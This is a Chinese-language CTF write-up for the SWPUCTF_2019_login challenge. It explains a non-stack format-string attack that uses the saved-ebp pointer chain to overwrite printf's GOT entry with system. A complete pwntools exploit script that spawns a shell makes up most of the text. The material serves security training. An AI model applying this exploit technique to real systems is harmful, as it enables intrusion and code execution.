SWPUCTF_2019_login
查看保护
格式化字符串漏洞,但是s1和正常的栈上格式化不一样,这里是非栈上。
攻击思路:因为是非栈上,所以需要借助ebp这里的链子来实现将printf_got改为system_addr。
1.首先借助这个格式化漏洞拿到libc和ebp的地址。
2.接下来就是借助ebp这条链子将printf_got改到这个链子上,最后的结构为下图
用%6$hhn来修改%10$处的数据
然后%10$hhn来修改%14$处的数据
最后使得使得%14$处为printf的GOT表地址,同样的方法,让%15$处为printf_got + 1的值
3.最后将printf_got改为system_addr然后传入/bin/sh即可。
这里笔者借鉴了ha1vk师傅的wp。
from pwn import *
from time import sleep
context(arch='i386', os='linux', log_level='debug')
file_name = './z1r0'
debug = 0
if debug:
r = remote('node4.buuoj.cn', 25426)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
r.sendlineafter('Please input your name: ', 'aaaa')
p1 = b'%15$p'
r.sendline(p1)
r.recvuntil('This is the wrong password: 0x')
libc_start_main = int(r.recv(8), 16) - 0xf1
success('libc_start_main = ' + hex(libc_start_main))
libc = ELF('libc-2.27.so')
libc_base = libc_start_main - libc.sym['__libc_start_main']
system_addr = libc_base + libc.sym['system']
p2 = b'%6$p'
r.sendline(p2)
r.recvuntil('This is the wrong password: 0x')
stack1 = int(r.recv(8), 16)
success('stack1 = ' + hex(stack1))
p3 = b'%10$p'
r.sendline(p3)
r.recvuntil('This is the wrong password: 0x')
stack2 = int(r.recv(8), 16)
success('stack2 = ' + hex(stack2))
printf_got = elf.got['printf']
#0x804b014
p1 = '%20c%10$hhn'
r.sendlineafter('Try again!\n', p1)
p2 = '%' + str((stack2 & 0xFF) + 1) + 'c%6$hhn'
r.sendlineafter('Try again!\n', p2)
p3 = '%176c%10$hhn'
r.sendlineafter('Try again!\n', p3)
p4 = '%' + str((stack2 & 0xFF) + 2) + 'c%6$hhn'
r.sendlineafter('Try again!\n', p4)
p5 = '%4c%10$hhn'
r.sendlineafter('Try again!\n', p5)
p6 = '%' + str((stack2 & 0xFF) + 3) + 'c%6$hhn'
r.sendlineafter('Try again!\n', p6)
p7 = '%8c%10$hhn'
r.sendlineafter('Try again!\n', p7)
# printf_got + 1
stack2 += 4
p1 = '%' + str(stack2 & 0xFF) + 'c%6$hhn'
r.sendlineafter('Try again!\n', p1)
p2 = '%21c%10$hhn'
r.sendlineafter('Try again!\n', p2)
p3 = '%' + str((stack2 & 0xFF) + 1) + 'c%6$hhn'
r.sendlineafter('Try again!\n', p3)
p4 = '%176c%10$hhn'
r.sendlineafter('Try again!\n', p4)
p5 = '%' + str((stack2 & 0xFF) + 2) + 'c%6$hhn'
r.sendlineafter('Try again!\n', p5)
p6 = '%4c%10$hhn'
r.sendlineafter('Try again!\n', p6)
p7 = '%' + str((stack2 & 0xFF) + 3) + 'c%6$hhn'
r.sendlineafter('Try again!\n', p7)
p8 = '%8c%10$hhn'
r.sendlineafter('Try again!\n', p8)
# printf_got ------> system_addr
p1 = '%' + str(system_addr & 0xFF) + 'c%14$hhn'
p1 += '%' + str(((system_addr & 0xffff00) >> 8) - 0x10) + 'c%15$hn'
r.sendlineafter('Try again!\n', p1)
sleep(0.5)
r.sendline('/bin/sh')
r.interactive()